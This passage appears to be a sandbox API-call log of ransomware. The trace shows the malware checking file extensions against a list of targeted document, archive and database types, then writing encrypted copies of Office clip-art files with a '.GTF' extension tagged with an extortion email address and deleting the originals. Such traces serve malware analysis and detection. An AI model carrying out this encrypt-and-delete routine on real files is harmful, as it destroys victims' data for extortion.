	[0175.442] lstrlenW (lpString=".jpg") returned 4
	[0175.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.641] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.641] lstrlenW (lpString="J0152558.WMF") returned 12
	[0175.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.643] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=16052) returned 1
	[0175.643] CloseHandle (hObject=0x574) returned 1
	[0175.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220
	[0175.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.644] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.644] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0175.645] GetLastError () returned 0x0
	[0175.645] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3eb4, lpOverlapped=0x0) returned 1
	[0175.693] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3ec0, lpOverlapped=0x0) returned 1
	[0175.695] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.695] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.695] SetEndOfFile (hFile=0x3e0) returned 1
	[0175.695] CloseHandle (hObject=0x3e0) returned 1
	[0175.695] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.695] SetEndOfFile (hFile=0x574) returned 1
	[0175.699] CloseHandle (hObject=0x574) returned 1
	[0175.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1
	[0175.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.701] lstrlenW (lpString=".doc") returned 4
	[0175.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.701] lstrlenW (lpString=".docx") returned 5
	[0175.701] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0175.701] lstrlenW (lpString=".pdf") returned 4
	[0175.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.701] lstrlenW (lpString=".xls") returned 4
	[0175.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.701] lstrlenW (lpString=".xlsx") returned 5
	[0175.701] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0175.701] lstrlenW (lpString=".ppt") returned 4
	[0175.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.701] lstrlenW (lpString=".zip") returned 4
	[0175.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.701] lstrlenW (lpString=".rar") returned 4
	[0175.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.701] lstrlenW (lpString=".bz2") returned 4
	[0175.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.701] lstrlenW (lpString=".7z") returned 3
	[0175.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.701] lstrlenW (lpString=".dbf") returned 4
	[0175.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.702] lstrlenW (lpString=".1cd") returned 4
	[0175.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.702] lstrlenW (lpString=".jpg") returned 4
	[0175.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.702] lstrlenW (lpString=".doc") returned 4
	[0175.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString=".docx") returned 5
	[0175.702] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0175.702] lstrlenW (lpString=".pdf") returned 4
	[0175.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString=".xls") returned 4
	[0175.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.702] lstrlenW (lpString=".xlsx") returned 5
	[0175.702] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0175.702] lstrlenW (lpString=".ppt") returned 4
	[0175.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.702] lstrlenW (lpString=".zip") returned 4
	[0175.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.702] lstrlenW (lpString=".rar") returned 4
	[0175.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.702] lstrlenW (lpString=".bz2") returned 4
	[0175.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.703] lstrlenW (lpString=".7z") returned 3
	[0175.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.703] lstrlenW (lpString=".dbf") returned 4
	[0175.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.703] lstrlenW (lpString=".1cd") returned 4
	[0175.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68
	[0175.703] lstrlenW (lpString=".jpg") returned 4
	[0175.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.703] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.703] lstrlenW (lpString="J0152568.WMF") returned 12
	[0175.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.704] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3696) returned 1
	[0175.704] CloseHandle (hObject=0x574) returned 1
	[0175.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220
	[0175.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.705] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.705] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0175.706] GetLastError () returned 0x0
	[0175.706] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0xe70, lpOverlapped=0x0) returned 1
	[0175.724] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0175.725] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.725] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.725] SetEndOfFile (hFile=0x3e0) returned 1
	[0175.725] CloseHandle (hObject=0x3e0) returned 1
	[0175.725] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.725] SetEndOfFile (hFile=0x574) returned 1
	[0175.728] CloseHandle (hObject=0x574) returned 1
	[0175.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1
	[0175.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.729] lstrlenW (lpString=".doc") returned 4
	[0175.729] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.729] lstrlenW (lpString=".docx") returned 5
	[0175.729] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0175.729] lstrlenW (lpString=".pdf") returned 4
	[0175.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.729] lstrlenW (lpString=".xls") returned 4
	[0175.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.729] lstrlenW (lpString=".xlsx") returned 5
	[0175.729] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0175.729] lstrlenW (lpString=".ppt") returned 4
	[0175.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.729] lstrlenW (lpString=".zip") returned 4
	[0175.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.729] lstrlenW (lpString=".rar") returned 4
	[0175.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.729] lstrlenW (lpString=".bz2") returned 4
	[0175.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.729] lstrlenW (lpString=".7z") returned 3
	[0175.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString=".dbf") returned 4
	[0175.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString=".1cd") returned 4
	[0175.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString=".jpg") returned 4
	[0175.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString=".doc") returned 4
	[0175.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString=".docx") returned 5
	[0175.730] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0175.730] lstrlenW (lpString=".pdf") returned 4
	[0175.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString=".xls") returned 4
	[0175.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.730] lstrlenW (lpString=".xlsx") returned 5
	[0175.730] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0175.730] lstrlenW (lpString=".ppt") returned 4
	[0175.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.730] lstrlenW (lpString=".zip") returned 4
	[0175.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.730] lstrlenW (lpString=".rar") returned 4
	[0175.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.730] lstrlenW (lpString=".bz2") returned 4
	[0175.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.731] lstrlenW (lpString=".7z") returned 3
	[0175.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.731] lstrlenW (lpString=".dbf") returned 4
	[0175.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.731] lstrlenW (lpString=".1cd") returned 4
	[0175.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0175.731] lstrlenW (lpString=".jpg") returned 4
	[0175.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.731] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.731] lstrlenW (lpString="J0152590.WMF") returned 12
	[0175.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.732] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=10932) returned 1
	[0175.732] CloseHandle (hObject=0x574) returned 1
	[0175.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220
	[0175.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0175.733] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.733] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0175.734] GetLastError () returned 0x0
	[0175.734] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2ab4, lpOverlapped=0x0) returned 1
	[0175.791] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2ac0, lpOverlapped=0x0) returned 1
	[0175.792] ReadFile (in: hFile=0x574, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.792] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.792] SetEndOfFile (hFile=0x3e0) returned 1
	[0175.793] CloseHandle (hObject=0x3e0) returned 1
	[0175.793] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.793] SetEndOfFile (hFile=0x574) returned 1
	[0175.796] CloseHandle (hObject=0x574) returned 1
	[0175.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1
	[0176.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.037] lstrlenW (lpString=".doc") returned 4
	[0176.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.037] lstrlenW (lpString=".docx") returned 5
	[0176.037] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.037] lstrlenW (lpString=".pdf") returned 4
	[0176.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.037] lstrlenW (lpString=".xls") returned 4
	[0176.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.037] lstrlenW (lpString=".xlsx") returned 5
	[0176.038] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.038] lstrlenW (lpString=".ppt") returned 4
	[0176.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString=".zip") returned 4
	[0176.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.038] lstrlenW (lpString=".rar") returned 4
	[0176.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString=".bz2") returned 4
	[0176.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString=".7z") returned 3
	[0176.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString=".dbf") returned 4
	[0176.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString=".1cd") returned 4
	[0176.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString=".jpg") returned 4
	[0176.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.038] lstrlenW (lpString=".doc") returned 4
	[0176.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString=".docx") returned 5
	[0176.038] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.038] lstrlenW (lpString=".pdf") returned 4
	[0176.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.038] lstrlenW (lpString=".xls") returned 4
	[0176.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.038] lstrlenW (lpString=".xlsx") returned 5
	[0176.039] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.039] lstrlenW (lpString=".ppt") returned 4
	[0176.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.039] lstrlenW (lpString=".zip") returned 4
	[0176.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.039] lstrlenW (lpString=".rar") returned 4
	[0176.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.039] lstrlenW (lpString=".bz2") returned 4
	[0176.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.039] lstrlenW (lpString=".7z") returned 3
	[0176.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.039] lstrlenW (lpString=".dbf") returned 4
	[0176.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68
	[0176.039] lstrlenW (lpString=".1cd") returned 4
	[0176.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
